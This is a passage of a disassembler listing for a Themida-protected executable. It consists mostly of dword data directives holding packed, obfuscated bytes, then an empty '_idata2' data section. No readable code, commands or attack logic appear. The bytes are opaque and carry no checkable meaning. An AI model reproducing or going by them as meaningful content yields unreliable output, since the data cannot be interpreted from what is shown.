		dd 0A4000000h, 5A8B6DB9h, 56083998h, 4535D941h,	0E796E1CFh
		dd 81668A71h, 660CA3D7h, 578FDBBBh, 5E9h, 0B0EF5A00h, 0FC5A0CDFh
		dd 6E9h, 98CF0600h, 668F5594h, 667D63BBh, 8B66CB8Bh, 38B0FC6h
		dd 0F000000h, 2DBBDFBFh, 812496B1h, 20F6B3D6h, 8BD58A59h
		dd 8CE180F9h, 699EB960h, 0EE87E6Fh, 9000000h, 1D0AD90Ch
		dd 51C7FA9Fh, 5B211796h, 0FE9C8h, 4400000h, 0D3450185h
		dd 0F502054Eh, 89777BEAh, 80615ADCh, 0DE920C5h,	5B000000h
		dd 4C7B721h, 0CF89D862h, 4329FE5h, 468BBE66h, 1810Fh, 56F90000h
		dd 0F58F88Bh, 18Eh, 8166FC00h, 66D7CED3h, 0BFEE42BAh, 587C0B0Dh
		dd 81BA6650h, 0BF66597Fh, 0FA8B12E2h, 0FF73C081h, 8F0F6168h
		dd 2, 0C681F08Bh, 347AAEE7h, 8AF18B66h,	88BE66FDh, 7BB06007h
		dd 8BF3BA66h, 28B0F61h,	57000000h, 52D98B5Eh, 5B25CB80h
		dd 617CB360h, 80C18B66h, 0F58AA6F6h, 8C0FF8h, 66000000h
		dd 0FFCDF8Bh, 0D78BCABFh, 0CAEEBA66h, 27E28166h, 0E2FCBBAFh
		dd 0EC805A49h, 168F0F43h, 0F000000h, 1085h, 0AE800h, 83F50000h
		dd 5BE3673Fh, 1BD83412h, 7E95Fh, 0A8C50000h, 4F764AD0h
		dd 0E4E7815Ah, 0B023C230h, 87CE808Fh, 0FE8h, 1B5FB00h
		dd 0D8AFC115h, 83E2888Ch, 9463C8C2h, 6658E58Ah,	870FF38Bh
		dd 0Ch,	6890Fh,	830F0000h, 0
		dd 8B665657h, 0B1585FCBh, 66CFB40Dh, 66C734B8h,	603324B9h
		dd 9A84BB66h, 0BF61CA8Bh, 1E92546Eh, 1050BB66h,	54BE081h
		dd 14E82D3Dh, 14000000h, 97C200C0h, 0D5B78FFAh,	820D5D91h
		dd 0F432AF7Bh, 0FB7F7E2h, 482h,	98B96600h, 3BB15B8Dh, 4FAB12BEh
		dd 0D181665Ch, 810F765Dh, 1Bh, 0FE8h, 163F6C00h, 2EB997D7h
		dd 0AD0BC5C7h, 0DCACB6Eh, 7F56F281h, 0F5B1AF4h,	8B66F7BFh
		dd 0FFB70FCEh, 0F5D98B66h, 4840Fh, 0BB660000h, 830F1783h
		dd 9, 3850Fh, 0B70F0000h, 6673B3F7h, 0C6E7CE81h, 11E9h
		dd 6A3F5000h, 81B3F22Eh, 6E51CFB5h, 3C1BBC87h, 66F5C1FCh
		dd 6660F28Bh, 5308F281h, 28B0Fh, 61600000h, 8E861h, 0BBA60000h
		dd 820E1F68h, 7B9B3BEh,	5E7C6BC8h, 0AE8h, 0F1658800h, 90901FEAh
		dd 0BBB04BFBh, 5F321424h, 3830F5Fh, 0F000000h, 8B66D8BFh
		dd 0EE960D1h, 52000000h, 0AD5EC1C2h, 0BBF7C603h, 34A6B2EBh
		dd 5B25BF8Ch, 51617652h, 0C63EDB81h, 0F95918C1h, 0BADA8B60h
		dd 76AD4A44h, 5E8F961h,	67000000h, 0B3678F2Ah, 0E85A58B1h
		dd 5, 779A70F5h, 35BE668Eh, 14E95A34h, 30000000h, 1837832Dh
		dd 315FB7Ah, 0CF39A92Eh, 0DA85EF15h, 0FF61E81h,	8166D1B7h
		dd 0E87AFED7h, 0Ah, 0B93E092Bh,	0A42F34F7h, 810F05C8h
		dd 3, 58C68B66h, 0BEF8BF0Fh, 73B2CBDh, 92BA23B9h, 80DF8B5Dh
		dd 0B3B940E7h, 810D6DE2h, 40542DC3h, 42BB6601h,	13E868h
		dd 89A90000h, 41976F6Eh, 0F36C4E08h, 65676130h,	99F06836h
		dd 0BB6657DDh, 5E590F5Bh, 62CBFF8h, 0F1813D24h,	7BD5D4D1h
		dd 0DEE08166h, 66536093h, 0F5BC38Bh, 682h, 850F00h, 61000000h
		dd 118D0Fh, 0CE90000h, 97000000h, 674033D9h, 4EAD6BDAh
		dd 81B94EFFh, 42A3E9D2h, 0BF52604Bh, 676FC27Eh,	66F5605Ah
		dd 619A6EBFh, 7E861h, 295A0000h, 0E13E019Ch, 0CF8B6677h
		dd 77EA805Ah, 0E9D7B70Fh, 14h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h
		dd 0FE33CF27h, 365842E9h, 138A0Fh, 0EE90000h, 0D3000000h
		dd 7AABAA42h, 3211B28Ch, 0A1645F36h, 88E480B4h,	17830Fh
		dd 12E90000h, 0A6000000h, 5022DD0Dh, 0F39C3355h, 689B1260h
		dd 6CCBF8FFh, 840FFEh, 0F9000000h, 14E9h, 5FB51100h, 0B4BCD2EDh
		dd 92BAD86Dh, 0DA51A34Ch, 0FF7CAB5h, 5E9533Dh, 0D7000000h
		dd 24E94841h, 0E860575Ah, 6, 4675E10Ch,	6058C7D2h, 0B35F6161h
		dd 9E907h, 8E160000h, 83F99B09h, 0B14417E3h, 4FB86608h
		dd 12E9C0h, 9ECE0000h, 0BF75A0BBh, 0C4D285B7h, 0B2F2A750h
		dd 45BD8207h, 0E9D7BF0Fh, 0Fh, 9D2C80Bh, 6A2910D7h, 77A9B468h
		dd 0BFD7B057h, 8FF4737h, 0F6816660h, 880F419Dh,	3, 61FEB70Fh
		dd 0DE59F781h, 8B660E56h, 890F60F0h, 0
		dd 6160F860h, 0DA8B6161h, 0EE8h, 8FBC7B00h, 346C0959h
		dd 0FE295C82h, 8BA9DE07h, 0EE815EC7h, 3BBEC7D1h, 178A0Fh
		dd 12E90000h, 84000000h, 735A8C82h, 200C3AF0h, 1FDCA64Ah
		dd 0E58F1852h, 0D981665Fh, 8166FB98h, 0F809ADEh, 8Ch, 0D18B6600h
		dd 895DBF66h, 9E860h, 45EB0000h, 0FED19DE5h, 8B26BEFFh
		dd 56BE58DAh, 61434233h, 14E8h,	3AD1C100h, 996FD073h, 0DD4F8F82h
		dd 0EC4410FCh, 0E5BD6273h, 441BBE85h, 645E05B1h, 1C3h dup(64F66CFEh)
		dd 0CABB6CFEh, 309h dup(0CABB6E1Dh), 0B9AE171Dh, 86h dup(0B9AE1758h)
		dd 0F8502758h, 65h dup(0F850273Bh), 2150273Bh, 0DBh dup(217E01B1h)
		dd 0B27E01B1h, 481h dup(0B2C0C42Eh), 0E32BC42Eh, 57h dup(0E32B4733h)
		dd 88Fh	dup(0CCCCCCCCh), 0CCCCCCh, 21Eh	dup(0)
Themida_	ends

; Section 5. (virtual address 002BE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 002BE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 6BE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start